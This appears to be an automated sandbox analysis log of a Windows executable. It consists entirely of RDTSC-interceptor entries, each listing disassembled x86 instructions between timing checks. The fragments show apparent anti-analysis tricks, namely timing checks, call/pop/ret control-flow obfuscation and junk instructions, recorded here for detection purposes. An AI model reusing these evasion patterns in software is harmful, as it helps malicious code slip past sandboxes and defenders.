Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CB46 second address: 138CB5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Ah 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138CF50 second address: 138CF64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F65A4502596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F65A4502596h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138F83B second address: 138F840 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FA11 second address: 138FA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 xor ecx, 35F3DBB1h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F65A4502598h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push 7BD7BA70h 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 ja 00007F65A4502596h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FA4E second address: 138FAD2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jmp 00007F65A4C18FA7h 0x00000010 pop ecx 0x00000011 popad 0x00000012 xor dword ptr [esp], 7BD7BAF0h 0x00000019 sbb ecx, 036391D5h 0x0000001f push 00000003h 0x00000021 xor si, A262h 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F65A4C18F98h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 push 00000003h 0x00000044 jp 00007F65A4C18F9Ch 0x0000004a mov ecx, dword ptr [ebp+122D2C80h] 0x00000050 call 00007F65A4C18F99h 0x00000055 push ebx 0x00000056 pushad 0x00000057 pushad 0x00000058 popad 0x00000059 pushad 0x0000005a popad 0x0000005b popad 0x0000005c pop ebx 0x0000005d push eax 0x0000005e js 00007F65A4C18FA4h 0x00000064 push eax 0x00000065 push edx 0x00000066 js 00007F65A4C18F96h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FAD2 second address: 138FB05 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F65A45025A6h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F65A450259Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FB05 second address: 138FB79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F65A4C18F9Dh 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F65A4C18F98h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d xor dh, 00000074h 0x00000030 stc 0x00000031 lea ebx, dword ptr [ebp+12451770h] 0x00000037 jmp 00007F65A4C18FA2h 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jno 00007F65A4C18F96h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FB79 second address: 138FB83 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F65A4502596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FC06 second address: 138FC4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 add dword ptr [ebp+122D33A2h], edi 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F65A4C18F98h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 cld 0x0000002a push 8B8C25AEh 0x0000002f push eax 0x00000030 push edx 0x00000031 push ebx 0x00000032 jmp 00007F65A4C18F9Ch 0x00000037 pop ebx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FC4D second address: 138FCA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A450259Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 7473DAD2h 0x00000010 mov cl, 05h 0x00000012 push 00000003h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F65A4502598h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D1FBAh], eax 0x00000036 push 00000003h 0x00000038 xor dword ptr [ebp+122D37ADh], ecx 0x0000003e push 9378774Dh 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 je 00007F65A4502596h 0x0000004c push esi 0x0000004d pop esi 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138FCA6 second address: 138FCB0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F65A4C18F9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF1D6 second address: 13AF1DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF1DC second address: 13AF1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF347 second address: 13AF364 instructions: 0x00000000 rdtsc 0x00000002 je 00007F65A4502598h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F65A450259Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AF364 second address: 13AF368 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFCC0 second address: 13AFCCA instructions: 0x00000000 rdtsc 0x00000002 js 00007F65A4502596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B0137 second address: 13B0151 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F65A4C18FA1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B02BE second address: 13B02CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F65A4502596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B02CE second address: 13B02D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5B85 second address: 13A5B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5B89 second address: 13A5B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5B99 second address: 13A5BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F65A4502596h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13A5BA5 second address: 13A5BA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B09F3 second address: 13B0A02 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F65A4502596h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B0A02 second address: 13B0A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push esi 0x00000009 jmp 00007F65A4C18FA8h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B0A26 second address: 13B0A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F65A4502596h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B0CBF second address: 13B0CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5261 second address: 13B5271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F65A450259Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B5271 second address: 13B527F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F65A4C18F96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B527F second address: 13B5283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388461 second address: 1388465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9720 second address: 13B9726 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9726 second address: 13B9738 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F65A4C18F98h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B9738 second address: 13B9762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F65A45025A8h 0x0000000d popad 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push ecx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BD66F second address: 13BD680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jbe 00007F65A4C18F96h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13BDC58 second address: 13BDC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C01BF second address: 13C01EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A4C18F9Fh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F65A4C18FA8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C03DF second address: 13C03E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C03E3 second address: 13C03ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C03ED second address: 13C03F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0A5E second address: 13C0A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0A8E second address: 13C0A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0A92 second address: 13C0A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0A96 second address: 13C0A9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0A9C second address: 13C0ADF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jg 00007F65A4C18F9Eh 0x0000000f jnl 00007F65A4C18F98h 0x00000015 xchg eax, ebx 0x00000016 sub dword ptr [ebp+12475683h], ecx 0x0000001c nop 0x0000001d pushad 0x0000001e pushad 0x0000001f jnl 00007F65A4C18F96h 0x00000025 jp 00007F65A4C18F96h 0x0000002b popad 0x0000002c jmp 00007F65A4C18F9Ah 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jnp 00007F65A4C18F96h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0D10 second address: 13C0D15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0DB6 second address: 13C0DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F65A4C18F96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1049 second address: 13C105F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F65A450259Ch 0x00000008 jnp 00007F65A4502596h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C105F second address: 13C1064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1DA0 second address: 13C1DA6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C1DA6 second address: 13C1DAB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C2FBF second address: 13C3017 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F65A450259Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edi 0x0000000e jmp 00007F65A45025A0h 0x00000013 pop edi 0x00000014 nop 0x00000015 movzx edi, si 0x00000018 push 00000000h 0x0000001a movsx esi, di 0x0000001d push 00000000h 0x0000001f jmp 00007F65A450259Dh 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F65A45025A0h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jl 00007F65A4502598h 0x00000033 push edi 0x00000034 pop edi 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3B65 second address: 13C3BC2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007F65A4C18F9Fh 0x0000000d nop 0x0000000e add dword ptr [ebp+122D362Eh], ebx 0x00000014 mov dword ptr [ebp+122D2758h], ecx 0x0000001a push 00000000h 0x0000001c pushad 0x0000001d jbe 00007F65A4C18FAEh 0x00000023 call 00007F65A4C18FA7h 0x00000028 pop eax 0x00000029 mov cx, 4E83h 0x0000002d popad 0x0000002e push 00000000h 0x00000030 xor dword ptr [ebp+122D3153h], ecx 0x00000036 xchg eax, ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jbe 00007F65A4C18F98h 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3BC2 second address: 13C3BDC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F65A45025A0h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3BDC second address: 13C3BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C3BE3 second address: 13C3BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F65A4502596h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4531 second address: 13C453B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F65A4C18F9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C4F9A second address: 13C4FAC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65A450259Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C59FF second address: 13C5A05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C64CD second address: 13C64E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F65A4502598h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 jne 00007F65A4502596h 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C658A second address: 13C658E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C658E second address: 13C65A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F65A450259Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C65A0 second address: 13C65A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6284 second address: 13C629C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F65A450259Bh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C850A second address: 13C850E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C85B6 second address: 13C85BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6DAC second address: 13C6DB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C85BC second address: 13C85C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C6DB9 second address: 13C6DC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F65A4C18F96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C85C0 second address: 13C85C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C960C second address: 13C9610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA532 second address: 13CA537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C974A second address: 13C976C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CA537 second address: 13CA5E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F65A45025A2h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F65A4502598h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 push esi 0x00000029 mov bh, FDh 0x0000002b pop ebx 0x0000002c sub dword ptr [ebp+122D17D0h], ebx 0x00000032 push 00000000h 0x00000034 sub ebx, dword ptr [ebp+12452F30h] 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push ecx 0x0000003f call 00007F65A4502598h 0x00000044 pop ecx 0x00000045 mov dword ptr [esp+04h], ecx 0x00000049 add dword ptr [esp+04h], 0000001Dh 0x00000051 inc ecx 0x00000052 push ecx 0x00000053 ret 0x00000054 pop ecx 0x00000055 ret 0x00000056 jmp 00007F65A45025A5h 0x0000005b xchg eax, esi 0x0000005c jmp 00007F65A45025A3h 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jns 00007F65A4502598h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C976C second address: 13C9770 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9770 second address: 13C97D2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F65A4502596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b nop 0x0000000c mov bh, FAh 0x0000000e push dword ptr fs:[00000000h] 0x00000015 adc bx, 6D25h 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 mov bx, cx 0x00000024 mov eax, dword ptr [ebp+122D0C4Dh] 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007F65A4502598h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 add bl, 00000079h 0x00000047 push FFFFFFFFh 0x00000049 jg 00007F65A4502598h 0x0000004f nop 0x00000050 push eax 0x00000051 push edx 0x00000052 jp 00007F65A4502598h 0x00000058 pushad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C97D2 second address: 13C97D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CB65E second address: 13CB68A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A45025A6h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F65A450259Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C97D8 second address: 13C97DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
